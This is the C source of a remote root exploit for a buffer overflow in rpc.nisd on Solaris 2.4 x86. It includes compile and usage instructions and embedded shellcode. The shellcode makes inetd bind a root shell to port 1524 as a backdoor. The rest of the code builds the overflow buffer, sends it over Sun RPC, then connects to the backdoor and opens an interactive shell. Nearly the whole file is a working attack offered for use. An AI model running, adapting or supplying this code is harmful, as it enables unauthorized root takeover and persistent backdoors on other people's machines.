/* PRIVATE. DO NOT DISTRIBUTE. */
/*
   rpc.nisd remote root overflow, solaris 2.4 x86 (not SPARC yet)
   by anathema <anathema@hack.co.za>
 */
/*
   compilation (solaris):
     $ gcc -o nisd nisd.c -lsocket -lnsl -lrpcsvc
   usage example:
     $ ./nisd host.to.own.com [offset]
   
   Default addr (0x80476c0) tested against rpc.nisd distributed with 
   Solaris 2.4 (SunOS 5.4). This exploit will probably work against
   Solaris 2.5.0 and 2.5.1 with a different offset, experiment.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <ctype.h>
#include <memory.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/nis.h>
/* #include <rpcsvc/nis_object.h> */

#define RET		348
#define ADDR		0x80476c0        /* sol 2.4 */

#define PROG		100300
#define VERS		3
#define PROC		22

char c0de[] =
  "\xeb\x3d\x9a\x24\x24\x24\x24\x07\x24\xc3\x5e\x29\xc0\x89\x46\xbf\x88\x46\xc4"
  "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56\x8d\x5e\x10"
  "\x89\x1e\x53\x8d\x5e\x18\x89\x5e\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xc6"
  "\xff\xff\xff\xff\xff\xff\xe8\xc6\xff\xff\xff\x01\x01\x01\x01\x02\x02\x02\x02"
  "\x03\x03\x03\x03\x04\x04\x04\x04"
  "\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x63\x20"
  "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/bleh;"
  "/usr/sbin/inetd -s /tmp/bleh;/bin/rm -f /tmp/bleh";

u_long
resolve_host(u_char *host)
{
  struct in_addr addr;
  struct hostent *host_ent;

  addr.s_addr = inet_addr(host);
  if (addr.s_addr == -1)
    {
      host_ent = gethostbyname(host);
      if (!host_ent) return(0);
      memcpy((char *)&addr.s_addr, host_ent->h_addr, host_ent->h_length);
    }

  return(addr.s_addr);
}

bool_t
xdr_nis_name(register XDR *xdrs, nis_name *objp)
{
  register long *buf;

  if (!xdr_string(xdrs, objp, ~0)) return (FALSE);
  else return(TRUE);
}

bool_t
xdr_nis_error(register XDR *xdrs, nis_error *objp)
{
  register long *buf;

  if (!xdr_enum(xdrs, (enum_t *)objp)) return(FALSE);
  else return(TRUE);
}

void
shellz(u_long dst_ip)
{
  struct sockaddr_in sin;
  u_char sock_buf[4096];
  fd_set fds;
  int sock;

  sleep(2);
  sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock == -1)
    {
      perror("socket allocation");
      exit(-1);
    }

  sin.sin_family = AF_INET;
  sin.sin_port   = htons(1524);
  sin.sin_addr.s_addr = dst_ip;

  if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) == -1)
    {
      perror("connecting to backdoor");
      exit(-1);
    }

  fprintf(stderr, "owned\n");
  write(sock, "id; uname -a; cd /;\n", 20);
  for (;;)
    {
      FD_ZERO(&fds);
      FD_SET(0, &fds);    /* STDIN_FILENO */
      FD_SET(sock, &fds);

      if (select(255, &fds, NULL, NULL, NULL) == -1)
        {
          perror("select");
          exit(-1);
        }

      memset(sock_buf, 0, sizeof(sock_buf));

      if (FD_ISSET(sock, &fds))
        {
          if (recv(sock, sock_buf, sizeof(sock_buf) - 1, 0) == -1)
            {
              fprintf(stderr, "Connection closed by foreign host.\n");
              exit(0);
            }
          fprintf(stderr, "%s", sock_buf);
        }

      if (FD_ISSET(0, &fds))
        {
          read(0, sock_buf, sizeof(sock_buf) - 1);
          write(sock, sock_buf, strlen(sock_buf));
        }
    }

  /* NOTREACHED */
}

void
exploit(u_long dst_ip, u_char *buf)
{
  struct sockaddr_in sin;
  struct timeval time_val;
  int sock = RPC_ANYSOCK;
  nis_error nis_err;
  CLIENT *clnt;

  time_val.tv_usec  = 0;
  time_val.tv_sec   = 10;

  sin.sin_family = AF_INET;
  sin.sin_port   = 0;
  sin.sin_addr.s_addr = dst_ip;

  clnt = clntudp_create(&sin, PROG, VERS, time_val, &sock);
  if (!clnt)
    {
      fprintf(stderr, "err: clntudp_create(): is host running rpc.nisd?\n");
      exit(-1);
    }
  /*
   *  Standard AUTH_UNIX authentication.
   */
  clnt->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);

  if (clnt_call(clnt, PROC, (xdrproc_t)xdr_nis_name, (caddr_t)&buf,
                (xdrproc_t)xdr_nis_error, (caddr_t)&nis_err, time_val)
      != RPC_SUCCESS)
    {
      clnt_destroy(clnt);
      shellz(dst_ip);
    }

  fprintf(stderr, "clnt_call() succeeded: patched nisd?.\n");
  clnt_destroy(clnt);
  exit(0);
}

void
usage(u_char *argv0)
{
  fprintf(stderr, "usage: %s dst_host|ip [offset]\n", argv0);
  exit(-1);
}

int
main(int argc, char **argv)
{
  u_long dst_ip    = 0;
  u_char buf[4096] = {0};
  u_long addr      = ADDR;
  int ret = RET, i = 0, j = 0;

  if (argc != 2 && argc != 3)
    {
      usage(argv[0]);
      /* NOTREACHED */
    }

  dst_ip = resolve_host(argv[1]);
  if (!dst_ip)
    {
      fprintf(stderr, "What kind of address is this: `%s`?\n", argv[1]);
      exit(-1);
    }

  if (argc > 2) addr += atoi(argv[2]);
  fprintf(stderr, "addr 0x%lx\n", addr);

  memset(buf, 0x90, ret);
  for (i=(ret-strlen(c0de)); i < ret; j++, i++) buf[i] = c0de[j];
  for (; i < (ret + 1024); i += 4)
    {
      buf[i+0] = (addr & 0x000000ff);
      buf[i+1] = (addr & 0x0000ff00) >> 8;
      buf[i+2] = (addr & 0x00ff0000) >> 16;
      buf[i+3] = (addr & 0xff000000) >> 24;
    }

  exploit(dst_ip, buf);
  /* NOTREACHED */
}

/* EOF */